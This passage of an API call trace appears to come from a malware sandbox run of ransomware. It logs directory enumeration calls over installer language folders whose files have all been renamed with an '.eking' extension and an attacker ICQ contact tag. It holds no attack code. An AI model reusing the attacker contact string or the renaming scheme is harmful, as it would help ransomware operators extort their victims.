cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.698] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.698] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5cb2e47, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5cb2e47, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.698] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.699] GetProcessHeap () returned 0xc10000 [0212.699] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.699] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1045", cAlternateFileName="")) returned 1 [0212.699] GetProcessHeap () returned 0xc10000 [0212.699] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.699] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.703] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.703] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5f98f09, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5f98f09, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fc5d98, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x10c2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.704] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fc5d98, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fc5d98, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc5fe681a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x142d2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.704] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.704] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6293e9b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.704] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.706] GetProcessHeap () returned 0xc10000 [0212.706] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.706] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1046", cAlternateFileName="")) returned 1 [0212.706] GetProcessHeap () returned 0xc10000 [0212.706] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.706] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.709] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.709] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5fe681a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc5fe681a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc600ba3b, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xf62, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.709] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc600ba3b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc600ba3b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6031a32, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13c72, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.709] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.709] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6031a32, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6031a32, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62ba110, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.709] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.711] GetProcessHeap () returned 0xc10000 [0212.711] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.711] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1049", cAlternateFileName="")) returned 1 [0212.711] GetProcessHeap () returned 0xc10000 [0212.711] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.713] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.713] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6293e9b, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6293e9b, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0xd5b2, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.713] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62ba110, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62ba110, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc62e042f, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13f52, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.714] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.714] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc62e042f, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc62e042f, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6306685, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4862, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.714] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.715] GetProcessHeap () returned 0xc10000 [0212.715] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.715] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1053", cAlternateFileName="")) returned 1 [0212.716] GetProcessHeap () returned 0xc10000 [0212.716] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.875] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.875] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6306685, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6306685, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc632c942, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.875] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc6352a6d, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x13082, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.876] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.876] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc632c942, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc632c942, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75822a8, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.876] FindClose (in: hFindFile=0xc29708 | out: hFindFile=0xc29708) returned 1 [0212.877] GetProcessHeap () returned 0xc10000 [0212.877] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.877] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="1055", cAlternateFileName="")) returned 1 [0212.877] GetProcessHeap () returned 0xc10000 [0212.877] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29888 [0212.878] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="..", cAlternateFileName="")) returned 1 [0212.878] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6352a6d, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc6352a6d, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc638c1df, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x1012, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="eula.rtf.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="EULART~1.EKI")) returned 1 [0212.878] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc638c1df, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc638c1df, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75f4a59, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x12d22, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="LocalizedData.xml.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="LOCALI~1.EKI")) returned 1 [0212.879] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 1 [0212.879] FindNextFileW (in: hFindFile=0xc29888, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc75a866a, ftCreationTime.dwHighDateTime=0x1d63feb, ftLastAccessTime.dwLowDateTime=0xc75a866a, ftLastAccessTime.dwHighDateTime=0x1d63feb, ftLastWriteTime.dwLowDateTime=0xc75a866a, ftLastWriteTime.dwHighDateTime=0x1d63feb, nFileSizeHigh=0x0, nFileSizeLow=0x4662, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName="SetupResources.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking", cAlternateFileName="SETUPR~1.EKI")) returned 0 [0212.879] FindClose (in: hFindFile=0xc29888 | out: hFindFile=0xc29888) returned 1 [0212.880] GetProcessHeap () returned 0xc10000 [0212.880] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c3fa8 | out: hHeap=0xc10000) returned 1 [0212.880] FindNextFileW (in: hFindFile=0xc29b48, lpFindFileData=0x2e5f6d8 | out: lpFindFileData=0x2e5f6d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="2052", cAlternateFileName="")) returned 1 [0212.880] GetProcessHeap () returned 0xc10000 [0212.880] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c3fa8 [0212.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffbcb, dwReserved1=0x807, cFileName=".", cAlternateFileName="")) returned 0xc29708 [0212.881] FindNextFileW (in: hFindFile=0xc29708, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, 